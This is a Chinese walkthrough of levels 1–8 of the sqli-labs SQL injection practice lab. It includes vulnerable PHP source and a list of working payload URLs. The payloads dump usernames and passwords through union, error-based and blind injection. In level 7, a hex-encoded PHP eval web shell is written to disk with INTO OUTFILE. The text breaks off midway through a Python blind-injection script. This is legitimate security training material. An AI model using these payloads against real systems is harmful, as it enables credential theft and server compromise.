文章目录
- less-1(GET型、单引号字符型、联合查询)
- less-2(GET型、数字型、联合查询)
- less-3(GET型、单引号括号、联合查询)
- less-4(GET型、双引号括号、联合查询)
- less-5(GET型、单引号、报错回显)
- less-6(GET型、双引号、报错回显)
- less-7(GET型、单引号双括号、写shell)
- less-8(GET型、单引号、布尔盲注)
- less-9(GET型、单引号、时间盲注)
- less-10(GET型、双引号、时间盲注)
- less-11(POST型、单引号、联合查询)
- less-12(POST型、双引号括号、联合查询)
- less-13(POST型、单引号括号、报错回显)
- less-14(POST型、双引号、报错回显)
- less-15(POST型、单引号、布尔盲注)
- less-16(POST型、双引号括号、布尔盲注)
- less-17(POST型、UPDATE型、单引号、报错回显)
- less-18(UA型、INSERT型、单引号、报错回显)
- less-19(Referer、INSERT型、单引号、报错回显)
- less-20(Cookie、单引号、联合查询)
- less-21(Cookie、Base64、单引号括号、联合查询)
- less-22(Cookie、Base64、双引号、联合查询)
- less-23(GET型、【#,- -】注释过滤、单引号、联合查询)
- less-24(二次注入)
- less-25(GET型、【or,and】过滤、单引号、双写绕过联合查询)
- less-25a(GET型、【or,and】过滤、数字号、双写绕过联合查询)
- less-26(GET型、【or,and,/,\,\*,-,#,空格】过滤、单引号,报错回显与布尔盲注)
- less-26a(GET型、【or,and,/,\,\*,-,#,空格】过滤、单引号括号,报错回显与布尔盲注)
- less-27(GET型、【/,\*,-,#,空格,+,select,union】、单引号、报错回显与布尔盲注)
- less-27a(GET型、【/,\*,-,#,空格,+,select,union】、双引号、布尔盲注)
- less-28(GET型、【/,\*,-,#空格,+】、单引号括号、布尔盲注)
- less-28a(GET型、【union select】、单引号括号、联合查询与布尔盲注)
- less-29(GET型、单引号、HTTP参数污染绕过)
- less-30(GET型、双引号、HTTP参数污染绕过)
- less-31(GET型、双引号括号、HTTP参数污染绕过)
- less-32(GET型、单引号、preg_replace()转义、宽字节注入与联合查询)
- less-33(GET型、单引号、addslashes()转义、宽字节注入与联合查询)
- less-34(POST型、单引号、addslashes()转义、宽字节注入与联合查询)
- less-35(GET型、数字型、addslashes()转义、宽字节注入联合查询)
- less-36(GET型、单引号、mysqli_real_escape_string()转义、宽字节注入联合查询)
- less-37(POST型、单引号、mysqli_real_escape_string()转义、宽字节注入联合查询)
- less-38(GET型、单引号、mysqli_multi_query()堆叠注入)
- less-39(GET型、数字型、mysqli_multi_query()堆叠注入)
- less-40(GET型、单引号括号、mysqli_multi_query()堆叠注入)
- less-41(GET型、数字型、mysqli_multi_query()堆叠注入)
- less-42(POST型、单引号、mysqli_multi_query()堆叠注入)
- less-43(POST型、单引号括号、mysqli_multi_query()堆叠注入)
- less-44(POST型、单引号、mysqli_multi_query()堆叠注入)
- less-45(POST型、单引号括号、mysqli_multi_query()堆叠注入)
- less-46(GET型、数字型、order by报错回显)
- less-47(GET型、单引号、order by报错回显)
- less-48(GET型、数字型、order by rand()布尔盲注)
- less-49(GET型、字符型、单引号、order by时间盲注)
- less-50(GET型、数字型、order by报错回显与mysqli_multi_query()堆叠注入)
- less-51(GET型、单引号、order by报错回显与mysqli_multi_query()堆叠注入)
- less-52(GET型、数字型、order by rand()布尔盲注与mysqli_multi_query()堆叠注入)
- less-53(GET型、字符型、order by时间盲注与mysqli_multi_query()堆叠注入)
- less-54(GET型、单引号、联合查询)
- less-55(GET型、数字型括号、联合查询)
- less-56(GET型、单引号括号、联合查询)
- less-57(GET型、双引号、联合查询)
- less-58(GET型、单引号、报错注入)
- less-59(GET型、数字型、报错注入)
- less-60(GET型、双引号括号、报错注入)
- less-61(GET型、单引号双括号、报错注入)
- less-62(GET型、单引号括号、布尔盲注&时间盲注)
- less-63(GET型、单引号、布尔盲注&时间盲注)
- less-64(GET型、双括号、布尔盲注&时间盲注)
- less-65(GET型、单括号、布尔盲注&时间盲注)
less-1(GET型、单引号字符型、联合查询)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// $sql="SELECT * FROM users WHERE id='0' union select 1,2,3 -- ' LIMIT 0,1";
// $sql="SELECT * FROM users WHERE id='0' union select 1,2,3 # ' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
}
else {
echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>
PHP的包含文件函数有两个,分别是include和require。
- require生成一个致命错误(E_COMPILE_ERROR),在错误发生后脚本会停止执行。
- include生成一个警告(E_WARNING),在错误发生后脚本会继续执行。
@是可以屏蔽函数执行过程中遇到问题而产生的一些错误、警告信息,这样用户就看不到程序的出错信息。这样除了用户界面会友好一些外,更重要的是安全性,因为屏蔽了出错文件的路径等信息。我们的目的是用户不应该看到后端任何其他信息。
die() 函数输出一条消息,并退出当前脚本。
拼接sql
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
我们判断是否有注入点一般是通过三个方面,如果满足以下三点,基本可以断定存在注入点
-
id=1’ 加单引号报错,这里的单引号,是泛指,泛指特殊符号,因为SQL隐式转换的原因,一般是加闭合符号使其报错
-
id=1 and 1=1 返回正确结果,这里1=1也是泛指,泛指加入true的查询语句会不会执行
-
id=1 and 1=2 返回错误,这里1=2也是泛指,泛指加入false的查询语句会不会执行
输入id=1'
sql报错了,再尝试id=1 and 1=1
和id=1 and 1=2
均没有报错正常返回第一条数据
涉及到了MySQL的 隐式转换
:
- 若字符串是以数字开头,并且全部都是数字,则转换的数字结果是整个字符串;部分是数字,则转换的数字结果是截止到第一个不是数字的字符为止
- 若字符串不是以数字开头,则转换的数字结果是 0
id字段是int类型,在做where判断时 1 and 1=1
与 1 and 1=2
均被转换为数字 1
了,所以才会显示正确页面
确定了注入方式为字符型
输入以下两段payload试试
http://localhost/sqli/Less-1/?id=1' and '1'='1
对应的查询语句
SELECT * FROM users WHERE id='1' and '1'='1' LIMIT 0,1
//返回正确页面
http://localhost/sqli/Less-1/?id=1' and '1'='2
对应的查询语句
SELECT * FROM users WHERE id='1' and '1'='2' LIMIT 0,1
//返回空值
然后判断字段数量
http://localhost/sqli/Less-1/?id=1' order by 3 -- - //页面正常显示
SELECT * FROM users WHERE id='1' ORDER BY 3 -- -' LIMIT 0,1
http://localhost/sqli/Less-1/?id=1' order by 4 -- - //报错1054 - Unknown column '4' in 'order clause'
SELECT * FROM users WHERE id='1' ORDER BY 4 -- -' LIMIT 0,1
以此可推断字段数为3个
然后查看页面显示的字段有哪些
http://localhost/sqli/Less-1/?id=1' union select 1,2,3 -- -
SELECT * FROM users WHERE id='0' union select 1,2,3 -- -' LIMIT 0,1
//这时候id要么给错误值、要么为空,不然因为是联合查询还是会输出账号密码
可以看到页面显示出为字段2,3
显示数据库名和登录用户
http://localhost/sqli/Less-1/?id=0' union select 1,DATABASE(),USER() -- -
SELECT * FROM users WHERE id='0' union select 1,DATABASE(),USER() -- -' LIMIT 0,1
查看数据库的所有表
http://localhost/sqli/Less-1/?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -
SELECT * FROM users WHERE id='0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -' LIMIT 0,1
查询表下的所有字段
http://localhost/sqli/Less-1/?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
SELECT * FROM users WHERE id='0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -' LIMIT 0,1
查询所有用户名用户名密码
http://localhost/sqli/Less-1/?id=0' union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -
SELECT * FROM users WHERE id='0' union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -' LIMIT 0,1
concat_ws() 函数是一个拼接字符串函数,间隔符使用0x7e,代表的是 ~ 符号
less-2(GET型、数字型、联合查询)
本关sql
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
测试是否包含注入点
http://localhost/sqli/Less-2/?id=1'
SELECT * FROM users WHERE id=1' LIMIT 0,1
//报错,并且曝出部分查询语句
http://localhost/sqli/Less-2/?id=1 and 1=1
SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1
//页面正确
http://localhost/sqli/Less-2/?id=1 and 1=2
SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1
//空值
此处大概率存在注入点,且为数字型注入
判断字段数量
http://localhost/sqli/Less-2/?id=1 ORDER BY 4 -- -
SELECT * FROM users WHERE id=1 ORDER BY 4 -- - LIMIT 0,1
//报错
http://localhost/sqli/Less-2/?id=1 ORDER BY 3 -- -
SELECT * FROM users WHERE id=1 ORDER BY 3 -- - LIMIT 0,1
//正确
所以字段数量为3
判断数据前端数据显示位置
http://localhost/sqli/Less-2/?id=1 union select 1,2,3 -- -
SELECT * FROM users WHERE id=1 union select 1,2,3 -- - LIMIT 0,1
但这时候并没有显示数据显示点,因为id值为1是正确的,且查询语句limit 0,1只显示第一行,所以我们看不到第二行的值,这时候我们将id值改为错误的或者让联合查询语句前部分为空值即可
http://localhost/sqli/Less-2/?id=1 and 1=2 union select 1,2,3 -- -
SELECT * FROM users WHERE id=1 and 1=2 union select 1,2,3 -- -LIMIT 0,1
这时候就显示数据显示点了,后面的就跟第一关一样,我们直接查询用户名密码
http://localhost/sqli/Less-2/?id=1 and 1=2 union select 1,(select GROUP_CONCAT(CONCAT_WS(0x7e,username,password))from users),3 -- -
SELECT * FROM users WHERE id=1 and 1=2 union select 1,(select GROUP_CONCAT(CONCAT_WS(0x7e,username,password))from users),3 -- - LIMIT 0,1
less-3(GET型、单引号括号、联合查询)
localhost/sqli/Less-3/?id=1'
//报错,并曝出后半段查询语句 '1'') LIMIT 0,1
能看出来闭合是')
常见的闭合符号有
'
)
"
")
')
'))
看本关sql语句:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
MySQL的布尔类型转换隐式转换
:
- 当运算符,函数或者流程控制结构需要一个 boolean 参数时,该值会被
自动转换
≥1
的数值会被转换成TRUE
0或其他非数字开头字符串
会被转换成FALSE
就像第一关的'2a'
先是隐式转换 为 数字2
,然后因为与布尔类型运算,又被转换为TRUE
后面的就跟前面的流程一样,只是闭合是 ')
我们直接查账号密码
localhost/sqli/Less-3/?id=0') union select 1,(select group_concat(username)from users),(select group_concat(password)from users) -- -
查询语句
SELECT * FROM users WHERE id=('0') union select 1,(select group_concat(username)from users),(select group_concat(password)from users) -- -') LIMIT 0,1
less-4(GET型、双引号括号、联合查询)
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
闭合符号为")
http://localhost/sqli/Less-4/?id=1") and ("1")=("1
//回显有值
http://localhost/sqli/Less-4/?id=1") and ("1")=("2
//空值
后面的测试流程跟前面一样,我们直接看账号,密码
http://localhost/sqli/Less-4/?id=0") union select 1,(select group_concat(username) from users),(select group_concat(password) from users) -- -
SELECT * FROM users WHERE id=("0") union select 1,(select group_concat(username) from users),(select group_concat(password) from users) -- -") LIMIT 0,1
less-5(GET型、单引号、报错回显)
试出来是'
闭合
有报错信息但是无数值回显,我们看一下PHP源码
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysqli_error($con1));
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else {
echo "Please input the ID as parameter with numeric value";}
能看到,即使值查询成功也不会回显值
这时候只能通过后面的mysqli_error()
来回显我们想要的数据
updatexml()
UPDATEXML(XML_document,XPath_string,new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称。
第二个参数:XPath_string(Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
通俗的将就是找到数据替换数据,第一个参数和第三个参数我们是用不到的,用到的是第二个参数,且是他的报错返回值。
http://localhost/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,version()),0) -- -
SELECT * FROM users WHERE id='1' and updatexml(1,concat(0x7e,version()),0) -- -' LIMIT 0,1
如果不加concat()的话报错回显结果不全
payload:
http://localhost/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(concat_ws(0x7e,username,password))from users)),0) -- -
SELECT * FROM users WHERE id='1' and updatexml(1,concat(0x7e,(select group_concat(concat_ws(0x7e,username,password))from users)),0) -- -' LIMIT 0,1
显示不全
可以逐行输出
http://localhost/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1)),0) -- -
SELECT * FROM users WHERE id='1' and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1)),0) -- -' LIMIT 0,1
extractvalue()
ExtractValue(xml_document,xpath_string)
从目标XML中返回包含所查询的字符串
第一个参数:XML_document是String格式,为XML文档对象名称,文中为Doc
第二个参数:XPath_string(Xpath格式的字符串)
http://localhost/sqli/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1))) -- -
SELECT * FROM users WHERE id='1' and extractvalue(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1))) -- -' LIMIT 0,1
floor()
最终payload:
http://localhost/sqli/Less-5/?id=1' and (SELECT 1 from(select count(*),CONCAT(DATABASE(),floor(rand(0)*2))x from users group by x)a)-- -
SELECT * FROM users WHERE id='1' and (select 1 from (select count(*) ,concat(database(),floor(rand(0)*2))x from users group by x)a) -- -' LIMIT 0,1
rand()产生0到1的随机数,rand(0)
内的0
是种子,固定种子产生的随机数都是一样的
floor()
函数返回小于或等于x的最大整数
floor(rand(0)*2)
函数就是将0到1的随机数乘以2之后再向下取整
因为种子固定,所以生成的序列也是固定的011011…
concat(database(),floor(rand(0)*2))x
这里是将 concat(database(),floor(rand(0)*2))
叫为x
,就是起个别名
group by key在执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则更新临时表中的数据(更新时,不再计算rand值)
;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。(插入数据时,会再计算rand值)
由于floor(rand(0)*2)的计算结果01101100…,导致临时表插入新行时主键冲突
就会爆出Duplicate entry 'security1' for key <group_key>
and (select 1 from
必须加,否则报出Operand should contain 1 column(操作数应包含1列)
,因为and后面的语句生成的是一个虚表
,而我们需要的是一个布尔值,所以我们需要将and后面查询改为布尔值。
less-6(GET型、双引号、报错回显)
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
经测得闭合为"
的报错型GET型注入
updatexml()
http://localhost/sqli/Less-6/?id=1" and updatexml(1,concat(0x7e,(select CONCAT_WS(0x7e,username,password)from users limit 0,1)),0)-- -
SELECT * FROM users WHERE id="1" and updatexml(1,concat(0x7e,(select CONCAT_WS(0x7e,username,password)from users limit 0,1)),0)-- -" LIMIT 0,1
extractvalue()
http://localhost/sqli/Less-6/?id=1" and extractvalue(1,concat(0x7e,(select CONCAT_WS(0x7e,username,password)from users limit 0,1)))-- -
SELECT * FROM users WHERE id="1" and extractvalue(1,concat(0x7e,(select CONCAT_WS(0x7e,username,password)from users limit 0,1)))-- -" LIMIT 0,1
floor()
http://localhost/sqli/Less-6/?id=1" and (select 1 from (select count(*) ,concat((select CONCAT_WS(0x7e,username,password) from users limit 0,1),floor(rand(0)*2))x from users group by x)a) -- -
SELECT * FROM users WHERE id="1" and (select 1 from (select count(*) ,concat((select CONCAT_WS(0x7e,username,password) from users limit 0,1),floor(rand(0)*2))x from users group by x)a) -- -"LIMIT 0,1
less-7(GET型、单引号双括号、写shell)
'))
闭合get型,可以使用报错注入
updatexml()
http://localhost/sqli/Less-7/?id=1')) and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1)),0)-- -
SELECT * FROM users WHERE id=(('1')) and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1)),0)-- -')) LIMIT 0,1
题目名是Dump into outfile,尝试执行into outfile发现报错
show variables like '%secure%';
其中有个secure-file-priv参数:
- secure_file_priv的值为null ,表示限制mysqld不允许导入|导出
- secure_file_priv的值为/tmp/ ,表示限制mysqld的导入|导出只能发生在/tmp/目录下
- secure_file_priv的值没有具体值时,表示不对mysqld的导入|导出做限制
我们需要手动修改my.ini文件中secure-file-priv的值为空secure_file_priv=
,重启mysql
写入一句话:
')) union select "<?php @eval($_POST['sql']);?>" into outfile '路径'
http://127.0.0.1/sqlilabs2/Less-7/index.php?id=-1')) union select 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e,3 into outfile "E:\softs\phpstudy_pro\WWW\sqlilabs2\Less-7\mm2.php"--+
写入需要注意的:
- 写入的内容需要用hex转码,以防拦截
- 写入的前提需要知道物理文件路径
- 写入的前提是有权限写入,或者有配置写入的权限
less-8(GET型、单引号、布尔盲注)
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else {
echo "Please input the ID as parameter with numeric value";}
发现print_r(mysqli_error($con1));
被去掉了,也就是没有回显了
但是正确的话显示’You are in…',错误的话显示为空
所以就是'
闭合的布尔型盲注
http://localhost/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115 -- -
SELECT * FROM users WHERE id='1' and ascii(substr(database(),1,1))=115 -- -' LIMIT 0,1
回显正常页面说明and后面为true
substr(database(),1,1)
意思是截取数据库名,从第一个字符开始截取一个字符's'
ascii()
是将字符转换为ASCII码
,'s'
对应的ASCII码是115
length()
函数,返回字符串的长度
left()
函数,返回从左至右截取固定长度的字符串
然后可以直接上脚本或者sqlmap了
import string
import requests
from time import sleep
arlist = string.printable
Baseurl = "http://127.0.0.1/sqlilabs2/Less-8/index.php?id=1' and "
def checkurl(url):
res = requests.get(url)
if res.ok:
if 'You are in' in res.text:
return True
return False
def main():
flag = ''
for g in range(100):